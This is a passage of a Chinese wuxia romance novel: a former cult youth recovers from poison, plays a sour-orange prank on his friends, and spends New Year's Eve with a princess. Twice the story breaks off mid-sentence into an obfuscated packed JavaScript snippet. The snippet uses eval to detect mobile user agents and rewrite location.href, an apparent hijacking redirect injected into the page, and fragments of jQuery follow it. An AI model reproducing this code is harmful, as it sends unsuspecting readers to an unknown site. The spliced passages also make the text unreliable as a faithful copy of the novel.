他说得对,那个家伙在险象环生的困境下长大,不知道在鬼门关徘徊了多少次,可最终都能安然无恙地活下来,这一次也不会例外。 仿佛为了验证她的心里话一般,下一刻紧闭的屋门便被打开,李年年从屋子里走出来,直直撞入他们的视线里。双方四目相对的那一刻,她忽然轻轻勾起唇角,扬起了一抹浅淡的笑意。 那笑容极轻极浅,转瞬即逝,可屋外的两人却敏锐捕捉到对方传达出来的意思,心中一块大石瞬间落了地。 对视一眼,两人都在彼此的眼中看到了相同的意思——“谢天谢地,那个家伙可算是有救了。” * 那日千鹤道长施展独门秘笈洗髓功,成功将薛矜体内毒素排出大半,之后他又呆了几天,替少年将余毒排清。七日之后,少年身上的毒已经散得差不多了。 大功告成的当天,他便向请他过来的陆怀袖辞别,少女见他即将离开此地,忍不住开口挽留:“道长若不嫌弃,不妨在这里多呆几天,也好让我们盛情款待一番,以感谢您的大恩大德。” 千鹤道长闻言轻轻摆了摆手道:“殿下不必如此,贫道也该回去主持派中事务了,不能继续在这里耽搁下去,而且他身上的毒已经除净,贫道也就没有了再呆下去的必要了。” 将少女的一脸遗憾尽数纳入眼底,他浅浅一笑,笑容意味深长:“若有缘,我们自会再相见,希望那时我们能和和气气坐下喝杯茶。” 陆怀袖心思何其机敏,马上就领会了他话中的深意,她当即拍了拍胸脯,应承道:“请道长尽管放心,我必定会看好那个家伙,不会再让他做出什么伤天害理的事。” 闻听此言,千鹤道长如释重负般松了口气,随后又嘱咐了小公主几句,便告辞离开了。踏出大门的时候,他那常年无表情的脸上也罕见地露出一丝笑意。 兴风作浪的大魔头自此放下屠刀,一直以来风波不断的江湖想来也能太平一段时日了。 75. 休养 雕花窗棂半掩,夕阳的余晖透过窗纸,铺了一地碎金。陈阡陌侧身坐在薛矜床头,有一搭没一搭跟他聊着天。 少年身上的毒已无大碍,五感也逐渐恢复正常。那双潋滟的狐狸眼不再被红绫遮掩,眼里再度流光溢彩,陈阡陌看着看着,心里莫名生出一种失而复得的快慰。 不知是忽然想到了什么,原本还带着笑的他一下子就垮了脸,任谁都能看出他心情郁闷,薛矜将他小弟那副模样收入眼底,嗤笑一声道:“陈三耳你想说什么,不妨直说。” 在一番纠结之后,陈阡陌吞吞吐吐地说道:“我……我听说教主他老人家前日里昭告天下,薛摇光因为任务失败,已被他亲手处决,从此……世上再无此人。”说完这番话后,他几乎是立刻就低下了头,不敢看好友的表情。 随之而来的是一阵难捱的沉默,而最终开口打破沉默的却是薛矜:“没事,我早就做好心理准备了。” 少年的语气出奇地平静,仿佛这只是一件不值一提的小事,陈阡陌一眼不错地看着他,试图从那张俊秀绝伦的脸上看出一些蛛丝马迹来,可对方的神色并未有何异样,让人看不出丝毫破绽。 此种反应大大出乎陈阡陌的意料,他纠结半晌,终于忍不住开口问道:“所以你对这件事是半点都不难过?” 他与薛矜打小就认识,自认这世上没人比他更了解对方。对生于黑暗长于黑暗也早就习惯了黑暗的少年来说,落月教不止是栖身之所,他将其视作领地,跟护犊子一样护着自己的领地,愿意为其冲锋陷阵,可谁知最后却被这片领地的狼王驱逐,再也无法重返故土——任谁被这样对待,都会感到难过和委屈吧。 沉默,长久的沉默,就在陈阡陌以为自己再也等不到少年的回复,心都不安地提了起来时,却听他缓缓开口说了句:“我薛矜乃是天生坏种,无心无情,凉薄至极,谁难过都轮不到我难过。” 黄昏的余光洒在少年的脸上,半明半暗,他的表情看得并不分明,可即使这样,陈阡陌却依旧读出了被掩藏在假面下的真实情绪,原本到嘴边的话被咽了下去,他明智地换了话题:“你口口声声说自己没有感情,怎么又和那位陆小姐在一起了?” 听到他提及那人,薛矜唇角不自觉地轻勾了一下,片刻后又压平唇角,表情前所未有的认真:“人生无常,总会有变数,而她就是我的变数。” 陈阡陌听到他这番话,不禁啧啧了两声,脸上带着毫不掩饰的揶揄之意:“没想到这种才子佳人话本里才会出现的酸话会从你嘴巴里吐出来,真是小刀划屁股——开了眼了。” 被他这么一打趣,薛矜也并未恼羞成怒,恰恰相反,他笑得如同三月春风,灿烂无限:“我至少不再是孤家寡人了,而某个家伙却仍旧深陷泥潭不可自拔呢。” 此言一出,陈阡陌的脸色突然变得难看至极,他像是被踩了尾巴的猫一样立刻炸毛:“啊啊啊啊,你这家伙就会往我伤口上撒盐!明知道我喜欢的姑娘喜欢你,偏还要哪壶不开提哪壶!” 没错,这是一个他喜欢她,而她却喜欢他的悲伤故事,不幸的是,他陈阡陌就是那棵没人疼没人爱的小白菜,李年年虽也是情场失意,却还是比他高出那么一头。 薛矜将他这蔫了吧唧的模样收入眼底,一反往常没有落井下石,痛打落水狗,那双狭长的狐狸眼微微眯起,连带着表情都严肃了起来:“谁规定一个人一辈子只能喜欢一个人?你连试都不愿意试,又怎知年年不会移情别恋?” 这句话像是有什么魔力,陈阡陌听罢后竟一扫之前的落寞,跟打了鸡血似的精神抖擞起来:“哼哼,你不稀罕的姑娘我稀罕!既然你不珍惜,那小爷我可就要出手了!” 瞧着自己小弟那副志在必得的模样,薛矜意味不明地勾起唇角,他张口还想说些什么,那个家伙却在这时拍了拍脑袋道:“啊,对了,我都忘了要通知你,大家准备三天后聚在一起吃顿大餐,以此来庆祝你从鬼门关里爬回来。” 初闻此言,少年显然愣了一下,待反应过来后,他一点一点地舒展开眉眼,轻轻吐出四字:“我知道了。” * 夜色低垂,月明星稀。 陈阡陌所说的聚会便是在庭院之中办一场鹿肉宴,为此他亲自打回来一只麋鹿,之后的一切便由薛矜全权负责。他先是向陈阡陌借了一把小刀,而后蹲下身子,把那头刚死不久的鹿剥皮抽筋开膛破肚,处理完内脏后再用清水清洗干净。 他这一整套动作做下来,只用了不到一炷香的时间,那动作娴熟得仿佛已经做过无数次一般,看得人忍不住拍手叫绝。 至于余下的三位姑娘,全程都在旁边看着,没有出半点力,但不是她们不想帮忙,只是薛矜说了,他这些天来承蒙几位姑娘照顾,作为报答,她们只要乖乖等着开饭就好了。 听到他这么说,三位少女也乐得清闲,索性就坐在草席上,静静地看着他认真忙活的样子,越看越觉得赏心悦目。 待陈阡陌将片好的鹿肉串在铁签上,薛矜也在空地上生起了一堆篝火,他将串在铁签上的鹿肉放在火边熏烤,神情十分专注。跳跃的火光映在他冷玉一般的肌肤上,为他镀上了一层暖色的光晕,让他身上那份疏离感淡了很多,倒是有了几分烟火气。 空气中渐渐弥漫起一股浓郁肉香,烤肉的油不时滴落下来,溅在火堆里发出滋滋的声音,围坐在篝火旁的几位姑娘情不自禁咽了咽口水,馋虫全被勾引了出来。 鲜红的肉块逐渐泛起金黄的色泽,待鹿肉烤好了,少年又不知从哪掏出一只调料瓶,把里面的粉末均匀撒在上面。在众人眼巴巴的眼神中,少年不紧不慢地抬起手,将烤好的肉串一一分发给嗷嗷待哺的他们。 陆怀袖接过身旁少年递来的几根肉串,早已饥肠辘辘的她迫不及待地咬上一口,丰沛的肉汁顿时在她口腔内炸开,味道香得不行。她原本是金枝玉叶中的金枝玉叶,按理说早就被御膳房养叼了舌头,这一口下去却也深深折服于少年的的厨艺之下。 她吃到一半,还不忘侧过头去夸赞少年厨艺高超,恰好对上他那双含着笑意的眼眸。那一刹那,她的大脑一片空白,连自己要说什么都忘记了,就这样直愣愣地看着他。 那双深不见底的墨色眼瞳中全都是自己的身影,除此之外,别无他物。认识到这一点的少女装作若无其事地转过头,继续吃手里没吃完的肉串,香甜的气息充斥着味蕾,又一路蔓延至心脏。 时下已入深秋,清风拂面,最是舒爽。众人席地而坐,一边大快朵颐,一边谈笑风生,而作为这场宴会的主角,薛矜却一语未发,安静得仿佛置身于另一个世界。温暖的火光与柔和的月光交相辉映,轻洒在他带着清浅笑意的面庞上,莫名有一种岁月静好的感觉。 待烤架上的鹿肉全部落入腹中,众人这时也感觉到了口渴,原本安静听着他们说话的少年敏锐地注意到了这一点,变戏法似的摸出一个橘子,修长的十指飞快地剥开橘子皮,掰了一瓣递到自己嘴边。 像是尝到人间至味一般,他那如画的眉眼顿时舒展开来,犹如满园桃花竞相绽放。余下众人将他这副模样收入眼底,更觉得喉咙渴得厉害,忍不住咽了咽口水。 不过薛矜只吃了一瓣便把剩下的橘子都塞到了小公主的手里,他用温柔得好似能掐出水一般的声音说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560132|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喏,橘子给你吃。” 陆怀袖闻言有些错愕地抬眼,和他深情款款的视线对了个正着,与其对视片刻后,她红着脸低下头去,像是被下了迷药一般,迷迷糊糊地掰了一瓣橘子塞到嘴里。 预料中甘甜的味道并未出现,相反,一股酸到掉牙的酸味迅速在她的口中蔓延。几乎是瞬间她就意识到,自己中计了。 少女暗暗磨了磨牙,朝那个欺骗了她感情的小骗子看过去,对方依旧注视着她,还是那副深情款款的样子,她也依旧红了脸,但这一次却不是因为害羞,而是被他气的。 这混蛋果然没安好心!就是黄鼠狼给鸡拜年! 尽管被刺激得牙齿发酸,但陆怀袖的脸上却没有半点被酸到的表情,她甚至还装模做样地发出了一声满意的喟叹,顺利地骗过了余下三人,其演技之精湛让某只黑心狐狸都自叹弗如。 秉着独酸酸不如众酸酸的念头,她露出一脸完美到无懈可击的微笑,对坐在自己身侧的水玲珑柔声说道:“水姐姐,你尝尝这个橘子,很甜呢。” 水玲珑不疑有他,接过橘子就塞了一瓣进自己的嘴里。很快就意识到自己被骗了的前花魁嘴角微微一抽,而后装作若无其事地看向兀自笑得灿烂的少女,那眼神好像在说:“袖袖你变了!竟然还会骗人了!” 面对闺中密友痛心疾首的目光,陆怀袖的面色丝毫未改,眉眼弯弯的样子像极了某只黑心狐狸,水玲珑看在眼里,痛在心里:“俗话说,近朱者赤近墨者黑,古人诚不我欺。” 她在心里唉声叹气了一番,之后又扬起笑脸看向李年年,李年年正好也扭头,跟她对上视线。四目相对的那刻,她那浅樱色的唇瓣微微张合:“这个橘子巨甜!年年你也尝尝!” 李年年在魔教长大,早就见惯了人心险恶,奈何前花魁长着一张纯真无邪的脸,她还就真信了对方的话,自她手中接过橘子,灵巧地剥开一瓣塞进嘴里。 紧接着她便领会到了人不可貌相这句话的意思,素来面无表情的脸也破天荒地出现了一丝裂痕,不过很快她就又恢复原样,缓缓侧过头看向最后一个受害者,声线没什么起伏地说道:“给你的。” 将方才发生的一切尽收眼底,陈阡陌心中怀疑渐渐升起,这一切似乎有些不寻常。但即便心中存疑,他还是接过了那只橘子,毕竟那是他心上人亲手递过来的,便是封喉的毒药他也甘愿吃下去。 思及此处,他直接把剩下的橘子都塞到嘴巴里,只可惜酸就是酸,就算是被感情冲昏了头脑的他也欺骗不了自己,整张脸都被酸得皱了起来,看得余下四人都不约而同地笑出了声。 好啊,你们这群家伙合起伙来欺骗我。 看着笑得毫无歉意的小伙伴,陈阡陌气得几乎要咬碎一口白牙。 笑够了之后,受害者们后知后觉地意识到了什么,齐齐将视线投向罪魁祸首薛某人,如果目光能杀人的话,他怕是已经死了七八遍了。 无视了他们飞过来的眼刀,薛矜眨眨眼睛,一本正经地说出了能气死人的话:“我知道你们在想什么,别冲动,你们几个就算是一拥而上,也不是我的对手。” 好气哦,但他说的都是真的。 深知敌我双方实力差距过于悬殊,不想以卵击石的他们只能忍气吞声地放任少年离开,看着他的背影暗暗磨牙。 像是被身后数道冰刃似的目光取悦到了,薛矜勾起绯色唇角,笑得要多嚣张有多嚣张。 俗话说的好,江山易改本性难移,伤天害理的事情可以不做,但别人那副“看不惯你但就是干不掉你”的样子不能不看。 曾经兴风作浪的大魔头如此想道。 76. 尾声 时间过得很快,眨眼便到年末,大雪纷纷扬扬下了好几天,似乎永远也下不完,整座曲州城银装素裹,变成了一片冰雪世界。 外面天寒地冻大雪纷飞,出门就是自找罪受,陆怀袖只好整日整日地呆在屋里,靠看书打发时间。 许是看得乏了,她放下书卷,而后起身来到窗边,只见漫天飞舞的大雪从天穹洒落,入目所见都是雪白一片。她赏了一会雪,忽然心念一动,只顺手披了件大氅便出门了,直奔后院那片梅林而去。 此时正是梅花盛开的季节,红梅衬着白雪必定十分好看。 穿过曲折廊道来到后院的梅林,最喜在冬日赏玩红梅的她却完完全全地忽视了自己心爱的花,注意力全然都在那抹熟悉的红影上,连呼吸都忍不住放轻了。 漫天飞雪中,一株寒梅下,身着一袭绯色衣衫的少年以梅枝作剑,手腕转动间,舞出一道道凌厉的剑风。四周的花树被他带起的剑风一震,扑簌簌落下一片缤纷花雨来。 衣袂在空中翩跹流转,长发似墨般轻舞飞扬,少年宛如这银白天地间一团燃烧起来的红云,观之煞是动人,便是最好的宫廷画师也画不出这等神仙人物。 刹那间,乾坤失色,日月无光,整片天地间仿佛只剩他一人。 一曲舞毕,这神仙似的少年如惊鸿一般翩然落地,丝毫不见气息紊乱的样子,那枝全是花苞的梅花在他手中完好无损。似乎察觉到什么,他负手看向静静地站在不远处看着他的少女,衣袂在刺骨寒风中猎猎作响。 在他看过来的瞬间,所有一切仿佛都安静了下来,陆怀袖只能听到自己扑通扑通的心跳声。她连着深呼吸了好几次,而后径直朝那人走过去,鞋子踩在雪上发出吱吱的声响,盖过了胸腔里越来越鼓噪的心跳声。 她走到他面前几步的地方停下,冲他展颜一笑:“恭喜薛公子,看来你的功力已经恢复得差不多了。” 对于少女的恭维,薛矜没表示什么,只抱着手臂,好整以暇地看着她,待看到她单薄的衣裳时,好看的眉头难得拧了起来:“这么冷的天,你也不怕冻坏了?” 他虽然冷着一张脸,那言语中的关切之意,却是显而易见的。陆怀袖跟个犯了错的小孩一样站在那里,正出声准备说些什么,忽然感到一股暖流从背后涌来,随即传遍四肢百骸,身上的寒意在顷刻间被驱散。 感受到他在给自己输送内力,陆怀袖的唇角轻勾了下,觉得自己整颗心都像是泡在温泉里一样,暖烘烘的舒服极了。 薛矜并没有再多说什么,自然而然地挽住了少女的胳膊,带着她朝前走去。 大雪还在下,丝毫没有停止的迹象,细碎的雪花飘飘洒洒从天而降,落在他们发上、肩上,而他们好似全然不曾发觉,依旧手挽手走着,身后的雪地里留下两行并排的脚印。 不知不觉间,已经走出很远,陆怀袖时不时偷瞥对方一眼,脑中没来由地想起两人刚认识那会。 彼时正值春日,桃花开得绚烂,而现在是冬天,唯有梅花傲然盛放,转眼之间,她和他已经走过一个春夏秋冬。 那时的她从悬崖上掉落下来,浑身上下都疼得要命,怎么也想不到自己的救命恩人会在一年之后成为自己的恋人。 一切都好像幻觉般不真切,她忍不住朝那具鲜活的身体靠得更近了些,直到感受到从他身上传来的融融热意,才终于有了一点真实感。 就在她想东想西这会,耳边蓦地传来一声轻笑,紧接着鬓发之上好像多出了什么东西。她下意识抬手摸了摸,指尖传来的分明触觉告诉她那是一枝梅花。 纤长浓密的眼睫颤了颤,她抬眸凝视着少年,脸上写满了不明所以。 少女疑惑的视线投过来,不过薛矜并没有解释的打算,他认真打量她半响,忽地展颜一笑,异常真诚地看着她的眼睛说道:“好看。” 吐出这两个字后后,他便收回落在她身上的目光,若无其事地继续往前走,而陆怀袖似乎还未从方才那一幕中回过神来,脑中始终定格在少年垂眸凝视着她的画面。 画面中的他眼神专注,语调缱绻,好像面前站立着的是自己想要守护一生的姑娘。 等到陆怀袖回过神来时,薛矜已经走出去好一段距离了,少年颀长清瘦的背影丝毫没有停留,她望着他的背影恨恨地磨了磨牙,之后提着裙摆一路小跑跟了上去。 这家伙就是故意的吧!就是故意要惹她生气对吧! 好不容易才跟上步伐的少女看着少年那张十分好看却无比欠揍的笑脸,咬牙切齿地想道。 * 不知不觉中这一年已经快到了尾声,外面此起彼伏的鞭炮声提醒着每个人新年即将来临。新年前的最后一天,城内千家万户张灯结彩,来往行人面上皆是一片喜气洋洋。 陆怀袖一行人此时也与普通人家无异,为了即将到来的新年忙上忙下,半刻也不得闲。 不管在哪个地方过除夕,年夜饭都是必不可少的,薛矜为此还亲自下厨做饭,一道又一道色香味俱全的菜品流水似的被端上桌,光是看着就让人垂涎欲滴。 其中最引人瞩目的当属中央摆着的黄铜火锅,圆滚滚白胖胖的饺子翻滚在锅中烧开的沸水里,面粉和猪肉的清香伴随着咕噜咕噜的声响直往人鼻子里钻。 等到锅里的饺子熟了,众人围坐在餐桌旁,但谁都没有动筷子,他们将目光齐齐落在薛矜身上,仿佛在等待着少年下达开饭指令似的。 薛矜接收到了他们的目光,第一个站起来,用舀勺盛了几只水饺送进陆怀袖碗里,其中的意思不言而喻。 陆怀袖并未觉得有何不妥,欣然接受了少年的安排,成为第一个动筷子的人。她随手夹起一只饺子,吹掉上面的热气之后就往嘴里塞,果然如想象中一般皮薄馅多味道好。 只是这一口下去,似乎咬到了什么硬物,她蹙着眉将其吐出,却意外发现里面包着的是一枚铜钱。她看着掌心里的那枚铜钱,登时喜上眉梢,任谁都能看出她此刻的好心情。 不怪她笑得这般开心,毕竟大襄有一个习俗,谁要是在除夕夜吃到包有铜钱的饺子,谁就会在未来一年里好运连连。 薛矜凑过去看了一眼,而后微微昂起下巴,颇为自得地说道:“没想到我的手气这么好,一挑就挑中了幸运饺子。” 陈阡陌将方才发生的一切尽收眼底,忽然想起什么似的,义愤填膺地叫道:“不对!你这家伙哪里是手气好,分明就是作弊!小爷我可是看得清清楚楚,你在包饺子的时候夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566946|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带私货,特地给包了铜钱的饺子打了花边!” 他的话音刚落,陆怀袖便低下头去看,那只被她咬过一半的饺子果然是带了花边的。 其他人显然也注意到了这一点,看向少年的眼神中都带了几分轻快的揶揄:“你这个见色忘友的家伙,心都偏到爪哇国了。” 被陈阡陌当场揭穿之后,薛矜面子上一时挂不住,罕见的恼羞成怒了。他面色不虞地瞪着对方,发誓要好好教训教训这个没眼力见的小弟。说时迟那时快,他捞起一只刚出锅还冒着热气的白面馒头,硬是把那馒头全部塞进小弟嘴里,差点把他当场噎死。 看着自家小弟被憋得脸红脖子粗的痛苦模样,少年从鼻子里发出轻蔑的哼声,眼里明晃晃写着“你活该”三个字。 就在所有人都将注意力放在薛矜和陈阡陌身上时,陆怀袖不停地舞动筷子,把碗里剩下的饺子全都吃掉。整个过程中,她嘴角上扬的弧度是怎么也压不下去。 不一会儿功夫,桌上的菜肴便被消灭得七七八八了。明明是最普通不过的食材,到了薛矜手里,却硬是让人吃出山珍海味的感觉,由此他的厨艺便可见一斑了。 薛矜吃东西一向很快,当众人还在埋头奋斗阶段,他就已经放下了手中的碗筷,施施然起身向屋外走去。 身边的座位一瞬间变得空荡荡的,陆怀袖秀眉微蹙,以生平最快的速度扒完了剩下几口饭,随即将碗筷搁下,和少年一前一后离开了这间屋子,丝毫没有注意到余下的几个人对她露出了微妙的笑容。 她一路亦步亦趋地跟着薛矜,而少年仿若未觉,还在继续迈着步子,直到走入一条曲折蜿蜒的回廊,他才停下脚步。陆怀袖见状,三步并作两步跟了上去,与他肩并肩靠在一起看着前方景色。 外头依旧在下雪,少女仰面看着漫天飞雪,忍不住伸出手接住一片飘落的雪花,看着它在自己手里慢慢融化,丝丝凉意透过肌肤直抵心扉。缓缓收拢掌心,她侧眸瞥向身侧少年,言语之间透出几分调侃意味:“薛公子竟有如此闲情逸致,特地跑到外头赏雪。” 薛矜闻言轻呵一声,脸上不带丝毫表情地说出了能吓死人的话:“比起赏雪,还是赏血更合我意。” 聪敏如陆怀袖,自然听出了他的言外之意,想起千鹤道长临行前的嘱托,她顿觉责任重大,倏地伸手抓住他的胳膊,义正言辞地说道:“我劝你趁早打消这个念头,若你以后再敢做出伤天害理的事情,我就……我就……” 她说到这里,戛然而止,嗓子像被塞了团棉花似的再也吐不出来一个字。薛矜眯着那双狐狸眼看着她,眼中满是兴味:“你待如何?” 见他一脸的兴味盎然,小公主拳头一握眼睛一闭,随即豁出去了似的放下一句狠话:“那本姑娘就只好以身饲魔舍身取义了!” 她从未想过自己有朝一日也会说出这样没羞没臊的话来,一张俏脸红得都快滴出血来了,可谁知少年对此只是轻轻地“嗯”了一声,反应出乎意料的平淡,似乎并不吃惊。 脸上的红晕瞬间褪去,少女猛地睁开了眼睛,双手叉腰地看着面前高出她许多的少年,嘴唇撅起一点不满的弧度:“好敷衍。” 薛矜垂眸对上她的视线,从喉咙里发出一声低笑。